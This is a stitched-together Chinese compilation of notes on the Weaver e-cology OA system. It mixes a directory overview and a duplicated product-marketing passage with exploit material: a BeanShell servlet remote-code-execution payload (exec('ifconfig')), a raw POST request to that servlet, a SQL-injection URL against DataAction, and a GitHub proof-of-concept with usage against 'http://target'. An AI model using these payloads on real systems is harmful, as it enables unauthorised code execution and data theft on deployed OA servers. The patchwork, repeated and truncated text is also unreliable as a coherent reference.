泛微

一 ECOLOGY系统框架结构 Ecology系统说明 e-cology8.0 文件页面编码为 UTF-8 e-cology8.0 JDK 版本 1.6 e-cology8.0 应用服务器为 Resin Ecology安装目录说明 ecology ：OA主程序目录 JDK ：Java目录 Resin ：应用服务器的目录 ecology主要目录说明 ecology classbean 存放编译后的CLASS文件 js 系统中使用的JAVASCRIPT和VBSCRIPT脚本 css 系统中JSP页面使用的样式 images images_face images_frame 系统中使用的图片的存放目录 log 系统中日志存放目录 sqlupgrade 升级SQL脚本目录 workflow 各功能分文件夹存放每个功能的文件 WEB-INF lib 系统依赖Jar文件目录 prop 系统配置文件存放 service 系统的接口配置文件的存放 securitylog 安全补丁日志 securityXML 自定义安全补丁配置目录 二 JSP页面 一个jsp页面通常需要包含什么内容 <%@ page language="java" contentType="text/html; charset=GBK" %> <%@ page import="weaver.general.*" %> <%@

影响版本 ：泛微 e-cology<=9.0 漏洞分析 ：　　　　 问题出现在 resin 下 lib 中的 bsh.jar 文件里，问题类 bsh.servlet.BshServlet，可 doGet 方法从 getParameter 中接收参数， Request 请求会交给evalScript 方法来进行处理。 参数传递 doGet--》getParameter--》 evalScript--》 localInterpreter.eval 漏洞利用：访问 http://url/weaver/bsh.servlet.BshServleth 输入payload exec("ifconfig") 　 来源： https://www.cnblogs.com/junsec/p/11558290.html

URL/ServiceAction/com.eweaver.base.DataAction?sql=select%201,2,3,4,5,6,7,8,9,233%20from%20DUAL%20 来源： https://www.cnblogs.com/mrhonest/p/12011616.html

ylbtech-Workflow-产品：泛微工作流引擎 1. 返回顶部 1、 工作流引擎平台技术架构 TECHNOLOGY FRAMEWORK 高度协同系统各应用模块 泛微工作流引擎平台是整个协同办公平台的血脉,它是连接并打通其它各个应用模块之间协同的关键所在。 通过工作流引擎平台，既可以帮助用户基于企业业务模式和管理模式，自行定义所需要的各种流程应用，快速构建企业自身的流程管控体系，同时也为建设企业整体协同平台夯实基础。 国际标准化流程引擎架构 泛微工作流引擎平台参照工作流管理联盟（WfMC）所提出的工作流模型和五大接口标准，基于SOA架构，融合了近20000家客户的流程实践案例应用经验，自主研发而成。 这种流程引擎架构可以让用户方便快捷的构建符合自己企业规则的各类流程支撑企业的规范化管理。 灵活配置与多系统集成 泛微工作流引擎平台具有灵活的表单自定义功能，可以快速自由配置各类工作流程，提高流程实施效率，降低开发成本。 凭借强大的流程建模、多系统集成能力,可集成企业其他异构系统，在满足企业业务流程自动化管理的同时，实时构建基于企业不同管控模式下的流程管控平台。 工作流引擎平台逻辑框架 LOGICAL FRAMEWORK 工作流引擎平台技术特点 TECHNOLOGICAL CHARACTERISTICS 采用JAVA技术 跨平台设计，安全性高，运行性能卓越 符合WfMC标准

ylbtech-Workflow-产品：泛微工作流引擎 1. 返回顶部 1、 工作流引擎平台技术架构 TECHNOLOGY FRAMEWORK 高度协同系统各应用模块 泛微工作流引擎平台是整个协同办公平台的血脉,它是连接并打通其它各个应用模块之间协同的关键所在。 通过工作流引擎平台，既可以帮助用户基于企业业务模式和管理模式，自行定义所需要的各种流程应用，快速构建企业自身的流程管控体系，同时也为建设企业整体协同平台夯实基础。 国际标准化流程引擎架构 泛微工作流引擎平台参照工作流管理联盟（WfMC）所提出的工作流模型和五大接口标准，基于SOA架构，融合了近20000家客户的流程实践案例应用经验，自主研发而成。 这种流程引擎架构可以让用户方便快捷的构建符合自己企业规则的各类流程支撑企业的规范化管理。 灵活配置与多系统集成 泛微工作流引擎平台具有灵活的表单自定义功能，可以快速自由配置各类工作流程，提高流程实施效率，降低开发成本。 凭借强大的流程建模、多系统集成能力,可集成企业其他异构系统，在满足企业业务流程自动化管理的同时，实时构建基于企业不同管控模式下的流程管控平台。 工作流引擎平台逻辑框架 LOGICAL FRAMEWORK 工作流引擎平台技术特点 TECHNOLOGICAL CHARACTERISTICS 采用JAVA技术 跨平台设计，安全性高，运行性能卓越 符合WfMC标准

poc https://github.com/AdministratorGithub/e-cology-OA-SQL 用法：python elog_sql.py http://target 不存在返回[] 存在返回一堆数据 来源： https://www.cnblogs.com/junsec/p/11656832.html

泛微E-cology OA /weaver/代码执行漏洞 泛微e-cology OA Beanshell组件远程代码执行 http://127.0.0.1/weaver/bsh.servlet.BshServlet 若存在如上页面，则用下面数据包进行测试。 POST /weaver/bsh.servlet.BshServlet HTTP/1.1 Host:127.0.0.1:8080 Content-Length: 151 Cache-Control: max-age=0 Origin: http://127.0.0.1:8080 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3